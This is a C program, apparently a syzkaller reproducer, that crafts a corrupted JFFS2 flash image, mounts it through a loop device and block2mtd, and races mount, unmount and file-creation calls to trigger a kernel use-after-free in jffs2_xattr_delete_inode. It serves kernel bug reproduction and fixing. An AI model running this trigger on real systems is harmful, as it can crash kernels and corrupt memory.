// https://syzkaller.appspot.com/bug?id=da86f76be814fa6e7111dadc8d4b7ead90e9011e
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <endian.h>
#include <sched.h>
#include <pthread.h>
#include <dirent.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <linux/loop.h>
#include <linux/jffs2.h>

#define cpu_to_je16(x) ((jint16_t){ .v16 = htole16(x) })
#define cpu_to_je32(x) ((jint32_t){ .v32 = htole32(x) })
#define cpu_to_jemode(x) ((jmode_t){ .m = htole32(x) })
#define PAD(x) (((x) + 3) & ~3)

#define ERASE_SIZE 65536
#define NUM_BLOCKS 16
#define IMG_SIZE (ERASE_SIZE * NUM_BLOCKS)
#define NUM_FILES 30

static uint32_t crc32_table[256];

static void init_crc32_table(void)
{
    for (uint32_t i = 0; i < 256; i++) {
        uint32_t c = i;
        for (int j = 0; j < 8; j++) {
            c = (c & 1) ? (0xedb88320 ^ (c >> 1)) : (c >> 1);
        }
        crc32_table[i] = c;
    }
}

static uint32_t jffs2_crc32(uint32_t crc, const void *buf, size_t len)
{
    const uint8_t *p = (const uint8_t *)buf;
    while (len--) {
        crc = (crc >> 8) ^ crc32_table[(crc & 0xff) ^ *p++];
    }
    return crc;
}

static int mount_jffs2(const char *label, const char *mnt_path)
{
    char src[128];
    snprintf(src, sizeof(src), "mtd:%s", label);
    int res = mount(src, mnt_path, "jffs2", 0, NULL);
    if (res == 0) {
        return 0;
    }

    FILE *f = fopen("/proc/mtd", "r");
    if (f) {
        char line[256];
        while (fgets(line, sizeof(line), f)) {
            if (strstr(line, label)) {
                char mtd_name[32];
                if (sscanf(line, "%31[^:]", mtd_name) == 1) {
                    res = mount(mtd_name, mnt_path, "jffs2", 0, NULL);
                    if (res == 0) {
                        fclose(f);
                        return 0;
                    }
                    int mtd_num = -1;
                    if (sscanf(mtd_name, "mtd%d", &mtd_num) == 1) {
                        char dev_path[64];
                        snprintf(dev_path, sizeof(dev_path), "/dev/mtdblock%d", mtd_num);
                        res = mount(dev_path, mnt_path, "jffs2", 0, NULL);
                        if (res == 0) {
                            fclose(f);
                            return 0;
                        }
                    }
                }
            }
        }
        fclose(f);
    }
    return -1;
}

struct race_args {
    const char *label;
    const char *mnt_path;
    volatile bool stop;
};

static void *race_mount_worker(void *arg)
{
    struct race_args *ra = (struct race_args *)arg;
    while (!ra->stop) {
        mount_jffs2(ra->label, ra->mnt_path);
        sched_yield();
    }
    return NULL;
}

static void *race_umount_worker(void *arg)
{
    struct race_args *ra = (struct race_args *)arg;
    while (!ra->stop) {
        umount2(ra->mnt_path, MNT_DETACH);
        umount2(ra->mnt_path, MNT_FORCE);
        sched_yield();
    }
    return NULL;
}

static void *race_mkdir_worker(void *arg)
{
    struct race_args *ra = (struct race_args *)arg;
    int counter = 0;
    while (!ra->stop) {
        char dpath[128];
        snprintf(dpath, sizeof(dpath), "%s/race_%d", ra->mnt_path, counter % 100);
        mkdir(dpath, 0777);
        rmdir(dpath);
        counter++;
        sched_yield();
    }
    return NULL;
}

static void *race_mkdirat_worker(void *arg)
{
    struct race_args *ra = (struct race_args *)arg;
    int dir_fd = open(ra->mnt_path, O_RDONLY | O_DIRECTORY);
    int counter = 0;
    while (!ra->stop) {
        if (dir_fd < 0) {
            dir_fd = open(ra->mnt_path, O_RDONLY | O_DIRECTORY);
        }
        if (dir_fd >= 0) {
            char dpath[64];
            snprintf(dpath, sizeof(dpath), "cwd_d_%d", counter % 100);
            mkdirat(dir_fd, dpath, 0777);
            unlinkat(dir_fd, dpath, AT_REMOVEDIR);
            counter++;
        }
        sched_yield();
    }
    if (dir_fd >= 0)
        close(dir_fd);
    return NULL;
}

static void *race_creat_worker(void *arg)
{
    struct race_args *ra = (struct race_args *)arg;
    int counter = 0;
    while (!ra->stop) {
        char fpath[128];
        snprintf(fpath, sizeof(fpath), "%s/f_race_%d", ra->mnt_path, counter % 100);
        int fd = open(fpath, O_CREAT | O_RDWR, 0666);
        if (fd >= 0) {
            write(fd, "payload", 7);
            close(fd);
            unlink(fpath);
        }
        counter++;
        sched_yield();
    }
    return NULL;
}

static void *race_stat_worker(void *arg)
{
    struct race_args *ra = (struct race_args *)arg;
    while (!ra->stop) {
        for (int i = 0; i < NUM_FILES; i++) {
            char fpath[128];
            snprintf(fpath, sizeof(fpath), "%s/f%u", ra->mnt_path, 2 + i);
            struct stat st;
            stat(fpath, &st);
        }
        sched_yield();
    }
    return NULL;
}

int main(void)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("[*] Starting reproducer for KASAN slab-use-after-free in jffs2_xattr_delete_inode...\n");

    init_crc32_table();

    const char *mnt_path = "/tmp/jffs2_mnt";
    umount2(mnt_path, MNT_DETACH);

    /* 1. Allocate and format 1 MiB JFFS2 flash image */
    uint8_t *img = malloc(IMG_SIZE);
    if (!img) {
        printf("[-] Failed to allocate image buffer: %s\n", strerror(errno));
        exit(1);
    }
    memset(img, 0xff, IMG_SIZE);

    /* 2. Write cleanmarkers at offset 0 of each eraseblock */
    struct jffs2_unknown_node cm;
    memset(&cm, 0, sizeof(cm));
    cm.magic = cpu_to_je16(JFFS2_MAGIC_BITMASK);
    cm.nodetype = cpu_to_je16(JFFS2_NODETYPE_CLEANMARKER);
    cm.totlen = cpu_to_je32(sizeof(struct jffs2_unknown_node));
    cm.hdr_crc = cpu_to_je32(jffs2_crc32(0, &cm, sizeof(struct jffs2_unknown_node) - 4));

    for (int b = 0; b < NUM_BLOCKS; b++) {
        memcpy(img + b * ERASE_SIZE, &cm, sizeof(cm));
    }
    printf("[+] Formatted %d eraseblocks with cleanmarkers.\n", NUM_BLOCKS);

    /* 3. In Block 0: Populate Root Inode (ino = 1) */
    size_t ofs = sizeof(cm);
    struct jffs2_raw_inode ri1;
    memset(&ri1, 0, sizeof(ri1));
    ri1.magic = cpu_to_je16(JFFS2_MAGIC_BITMASK);
    ri1.nodetype = cpu_to_je16(JFFS2_NODETYPE_INODE);
    ri1.totlen = cpu_to_je32(sizeof(struct jffs2_raw_inode));
    ri1.hdr_crc = cpu_to_je32(jffs2_crc32(0, &ri1, sizeof(struct jffs2_unknown_node) - 4));
    ri1.ino = cpu_to_je32(1);
    ri1.version = cpu_to_je32(1);
    ri1.mode = cpu_to_jemode(S_IFDIR | 0755);
    ri1.uid = cpu_to_je16(0);
    ri1.gid = cpu_to_je16(0);
    ri1.isize = cpu_to_je32(0);
    ri1.atime = cpu_to_je32(1000000);
    ri1.mtime = cpu_to_je32(1000000);
    ri1.ctime = cpu_to_je32(1000000);
    ri1.offset = cpu_to_je32(0);
    ri1.csize = cpu_to_je32(0);
    ri1.dsize = cpu_to_je32(0);
    ri1.compr = JFFS2_COMPR_NONE;
    ri1.usercompr = 0;
    ri1.flags = cpu_to_je16(0);
    ri1.data_crc = cpu_to_je32(0);
    ri1.node_crc = cpu_to_je32(jffs2_crc32(0, &ri1, sizeof(struct jffs2_raw_inode) - 8));

    memcpy(img + ofs, &ri1, sizeof(ri1));
    ofs += sizeof(ri1);

    /* 4. In Block 0: Populate 30 file inodes (f2..f31) to prime jffs2_inode_cachep */
    for (int i = 0; i < NUM_FILES; i++) {
        uint32_t ino = 2 + i;
        char name[16];
        snprintf(name, sizeof(name), "f%u", ino);
        uint8_t nsize = (uint8_t)strlen(name);

        struct jffs2_raw_dirent rd;
        memset(&rd, 0, sizeof(rd));
        rd.magic = cpu_to_je16(JFFS2_MAGIC_BITMASK);
        rd.nodetype = cpu_to_je16(JFFS2_NODETYPE_DIRENT);
        rd.totlen = cpu_to_je32(sizeof(struct jffs2_raw_dirent) + nsize);
        rd.hdr_crc = cpu_to_je32(jffs2_crc32(0, &rd, sizeof(struct jffs2_unknown_node) - 4));
        rd.pino = cpu_to_je32(1);
        rd.version = cpu_to_je32(i + 1);
        rd.ino = cpu_to_je32(ino);
        rd.mctime = cpu_to_je32(1000000);
        rd.nsize = nsize;
        rd.type = DT_REG;
        rd.unused[0] = 0;
        rd.unused[1] = 0;
        rd.node_crc = cpu_to_je32(jffs2_crc32(0, &rd, sizeof(struct jffs2_raw_dirent) - 8));
        rd.name_crc = cpu_to_je32(jffs2_crc32(0, name, nsize));

        memcpy(img + ofs, &rd, sizeof(rd));
        ofs += sizeof(rd);
        memcpy(img + ofs, name, nsize);
        ofs += nsize;
        while (ofs % 4 != 0) {
            img[ofs++] = 0xff;
        }

        struct jffs2_raw_inode ri;
        memset(&ri, 0, sizeof(ri));
        ri.magic = cpu_to_je16(JFFS2_MAGIC_BITMASK);
        ri.nodetype = cpu_to_je16(JFFS2_NODETYPE_INODE);
        ri.totlen = cpu_to_je32(sizeof(struct jffs2_raw_inode));
        ri.hdr_crc = cpu_to_je32(jffs2_crc32(0, &ri, sizeof(struct jffs2_unknown_node) - 4));
        ri.ino = cpu_to_je32(ino);
        ri.version = cpu_to_je32(1);
        ri.mode = cpu_to_jemode(S_IFREG | 0644);
        ri.uid = cpu_to_je16(0);
        ri.gid = cpu_to_je16(0);
        ri.isize = cpu_to_je32(0);
        ri.atime = cpu_to_je32(1000000);
        ri.mtime = cpu_to_je32(1000000);
        ri.ctime = cpu_to_je32(1000000);
        ri.offset = cpu_to_je32(0);
        ri.csize = cpu_to_je32(0);
        ri.dsize = cpu_to_je32(0);
        ri.compr = JFFS2_COMPR_NONE;
        ri.usercompr = 0;
        ri.flags = cpu_to_je16(0);
        ri.data_crc = cpu_to_je32(0);
        ri.node_crc = cpu_to_je32(jffs2_crc32(0, &ri, sizeof(struct jffs2_raw_inode) - 8));

        memcpy(img + ofs, &ri, sizeof(ri));
        ofs += sizeof(ri);
    }
    printf("[+] Populated 1 directory inode and %d file inodes in Block 0.\n", NUM_FILES);

    /* 5. In Block 0: Append corrupted default ACL on Root Inode */
    uint8_t xdata[5] = {0};
    uint32_t xdata_crc = jffs2_crc32(0, xdata, sizeof(xdata));

    struct jffs2_raw_xattr rx;
    memset(&rx, 0, sizeof(rx));
    rx.magic = cpu_to_je16(JFFS2_MAGIC_BITMASK);
    rx.nodetype = cpu_to_je16(JFFS2_NODETYPE_XATTR);
    rx.totlen = cpu_to_je32(PAD(sizeof(struct jffs2_raw_xattr) + sizeof(xdata)));
    rx.hdr_crc = cpu_to_je32(jffs2_crc32(0, &rx, sizeof(struct jffs2_unknown_node) - 4));
    rx.xid = cpu_to_je32(1);
    rx.version = cpu_to_je32(1);
    rx.xprefix = JFFS2_XPREFIX_ACL_DEFAULT;
    rx.name_len = 0;
    rx.value_len = cpu_to_je16(4);
    rx.data_crc = cpu_to_je32(xdata_crc);
    rx.node_crc = cpu_to_je32(jffs2_crc32(0, &rx, sizeof(struct jffs2_raw_xattr) - 4));

    memcpy(img + ofs, &rx, sizeof(rx));
    ofs += sizeof(rx);
    memcpy(img + ofs, xdata, sizeof(xdata));
    ofs += sizeof(xdata);
    while (ofs % 4 != 0) {
        img[ofs++] = 0xff;
    }

    /* 6. In Block 0: Append raw_xref linking Inode 1 to XID 1 with xseqno = 2 (not dead!) */
    struct jffs2_raw_xref rr;
    memset(&rr, 0, sizeof(rr));
    rr.magic = cpu_to_je16(JFFS2_MAGIC_BITMASK);
    rr.nodetype = cpu_to_je16(JFFS2_NODETYPE_XREF);
    rr.totlen = cpu_to_je32(sizeof(struct jffs2_raw_xref));
    rr.hdr_crc = cpu_to_je32(jffs2_crc32(0, &rr, sizeof(struct jffs2_unknown_node) - 4));
    rr.ino = cpu_to_je32(1);
    rr.xid = cpu_to_je32(1);
    rr.xseqno = cpu_to_je32(2); /* CRITICAL: bit 0 must be 0 so is_xattr_ref_dead() returns false */
    rr.node_crc = cpu_to_je32(jffs2_crc32(0, &rr, sizeof(struct jffs2_raw_xref) - 4));

    memcpy(img + ofs, &rr, sizeof(rr));
    ofs += sizeof(rr);
    printf("[+] Appended corrupted ACL XATTR and alive XREF (xseqno=2) to Block 0 (total size = %zu bytes).\n", ofs);

    /* 7. Write flash image to temporary backing file */
    char img_path[64];
    snprintf(img_path, sizeof(img_path), "/tmp/jffs2_img_%d", getpid());
    int img_fd = open(img_path, O_RDWR | O_CREAT | O_TRUNC, 0666);
    if (img_fd < 0) {
        printf("[-] Failed to open %s: %s\n", img_path, strerror(errno));
        exit(1);
    }
    ssize_t w = write(img_fd, img, IMG_SIZE);
    if (w != IMG_SIZE) {
        printf("[-] Failed to write complete image to %s: %s\n", img_path, strerror(errno));
        exit(1);
    }
    free(img);
    printf("[+] Written %zu bytes to backing file %s.\n", (size_t)IMG_SIZE, img_path);

    /* 8. Setup loop device */
    int ctrl_fd = open("/dev/loop-control", O_RDWR);
    if (ctrl_fd < 0) {
        printf("[-] Failed to open /dev/loop-control: %s\n", strerror(errno));
        exit(1);
    }
    int loop_num = ioctl(ctrl_fd, LOOP_CTL_GET_FREE);
    close(ctrl_fd);
    if (loop_num < 0) {
        printf("[-] LOOP_CTL_GET_FREE failed: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Acquired free loop device: %d\n", loop_num);

    char loop_dev[64];
    snprintf(loop_dev, sizeof(loop_dev), "/dev/loop%d", loop_num);
    int loop_fd = open(loop_dev, O_RDWR);
    if (loop_fd < 0) {
        printf("[-] Failed to open %s: %s\n", loop_dev, strerror(errno));
        exit(1);
    }
    int res = ioctl(loop_fd, LOOP_SET_FD, img_fd);
    if (res < 0) {
        printf("[-] LOOP_SET_FD failed: %s\n", strerror(errno));
        exit(1);
    }
    close(loop_fd);
    close(img_fd);
    printf("[+] Attached %s to %s.\n", img_path, loop_dev);

    /* 9. Register loop device with block2mtd */
    int b2mtd_fd = open("/sys/module/block2mtd/parameters/block2mtd", O_WRONLY);
    if (b2mtd_fd < 0) {
        printf("[-] Failed to open /sys/module/block2mtd/parameters/block2mtd: %s\n", strerror(errno));
        exit(1);
    }
    char label[64];
    snprintf(label, sizeof(label), "jffs2_uaf_%d", getpid());
    char param[128];
    snprintf(param, sizeof(param), "%s,%d,%s\n", loop_dev, ERASE_SIZE, label);
    w = write(b2mtd_fd, param, strlen(param));
    if (w < 0) {
        printf("[-] Failed to write to block2mtd: %s\n", strerror(errno));
        exit(1);
    }
    close(b2mtd_fd);
    printf("[+] Registered block2mtd: %s\n", param);

    usleep(200000);

    /* Verify /proc/mtd */
    int mtd_fd = open("/proc/mtd", O_RDONLY);
    if (mtd_fd >= 0) {
        char buf[512];
        ssize_t n = read(mtd_fd, buf, sizeof(buf) - 1);
        if (n > 0) {
            buf[n] = '\0';
            printf("[+] /proc/mtd:\n%s", buf);
        }
        close(mtd_fd);
    }

    res = mkdir(mnt_path, 0755);
    if (res < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir %s: %s\n", mnt_path, strerror(errno));
        exit(1);
    }

    /* 10. Stage 1: Deterministic Sequential Repro */
    printf("[*] Starting Stage 1: Deterministic Repro Sequence...\n");
    for (int cycle = 0; cycle < 5; cycle++) {
        printf("[*] === Cycle %d ===\n", cycle);

        /* Mount 1: load filesystem and prime jffs2_inode_cachep */
        res = mount_jffs2(label, mnt_path);
        if (res < 0) {
            printf("[-] Mount failed in cycle %d.\n", cycle);
            exit(1);
        }
        printf("[+] Mount 1 successful in cycle %d.\n", cycle);

        /* Access all file inodes so they are loaded into slab cache */
        for (int i = 0; i < NUM_FILES; i++) {
            char fpath[128];
            snprintf(fpath, sizeof(fpath), "%s/f%u", mnt_path, 2 + i);
            struct stat st;
            res = stat(fpath, &st);
            if (res < 0) {
                printf("[-] stat(%s) failed: %s\n", fpath, strerror(errno));
            }
            int fd = open(fpath, O_RDONLY);
            if (fd >= 0) close(fd);
        }
        printf("[+] Stat'ed and accessed all %d files in cycle %d.\n", NUM_FILES, cycle);

        /* Unmount 1: frees all inode_info and frees all inode_cache objects to KASAN quarantine */
        res = umount2(mnt_path, 0);
        if (res < 0) {
            printf("[-] umount2 failed: %s\n", strerror(errno));
            exit(1);
        }
        printf("[+] Unmounted Mount 1 in cycle %d.\n", cycle);

        /* Mount 2: new mount, new inode_caches, but jffs2_inode_cachep has dangling pointers */
        res = mount_jffs2(label, mnt_path);
        if (res < 0) {
            printf("[-] Mount 2 failed in cycle %d.\n", cycle);
            exit(1);
        }
        printf("[+] Mount 2 successful in cycle %d.\n", cycle);

        /* Trigger UAF: mkdir / creat calls jffs2_new_inode -> fails in jffs2_init_acl_pre -> iput -> jffs2_xattr_delete_inode */
        printf("[*] Triggering UAF via mkdir and open(O_CREAT)...\n");
        for (int i = 0; i < 20; i++) {
            char dpath[128];
            snprintf(dpath, sizeof(dpath), "%s/d_%d_%d", mnt_path, cycle, i);
            int ret = mkdir(dpath, 0777);
            printf("[*] mkdir(%s) returned %d (errno=%d: %s)\n", dpath, ret, errno, strerror(errno));

            char fpath[128];
            snprintf(fpath, sizeof(fpath), "%s/file_%d_%d", mnt_path, cycle, i);
            ret = open(fpath, O_CREAT | O_RDWR, 0666);
            if (ret >= 0) close(ret);
            printf("[*] open(%s, O_CREAT) returned %d (errno=%d: %s)\n", fpath, ret, errno, strerror(errno));
        }

        umount2(mnt_path, 0);
    }

    /* 11. Stage 2: Concurrent Multi-Threaded Race Fallback (No artificial sleeps) */
    printf("[*] Starting Stage 2: Concurrent High-Speed Race Fallback...\n");
    res = mount_jffs2(label, mnt_path);
    if (res == 0) {
        struct race_args ra;
        ra.label = label;
        ra.mnt_path = mnt_path;
        ra.stop = false;

        pthread_t th[6];
        pthread_create(&th[0], NULL, race_mount_worker, &ra);
        pthread_create(&th[1], NULL, race_umount_worker, &ra);
        pthread_create(&th[2], NULL, race_mkdir_worker, &ra);
        pthread_create(&th[3], NULL, race_mkdirat_worker, &ra);
        pthread_create(&th[4], NULL, race_creat_worker, &ra);
        pthread_create(&th[5], NULL, race_stat_worker, &ra);

        printf("[+] All 6 race threads spawned. Running full-speed collision race for 10 seconds...\n");
        sleep(10);

        ra.stop = true;
        for (int i = 0; i < 6; i++) {
            pthread_join(th[i], NULL);
        }
        umount2(mnt_path, MNT_DETACH);
        printf("[+] Stage 2 completed.\n");
    }

    printf("[+] Execution finished. Sleeping 3 seconds to allow asynchronous kernel logs to flush...\n");
    sleep(3);
    return 0;
}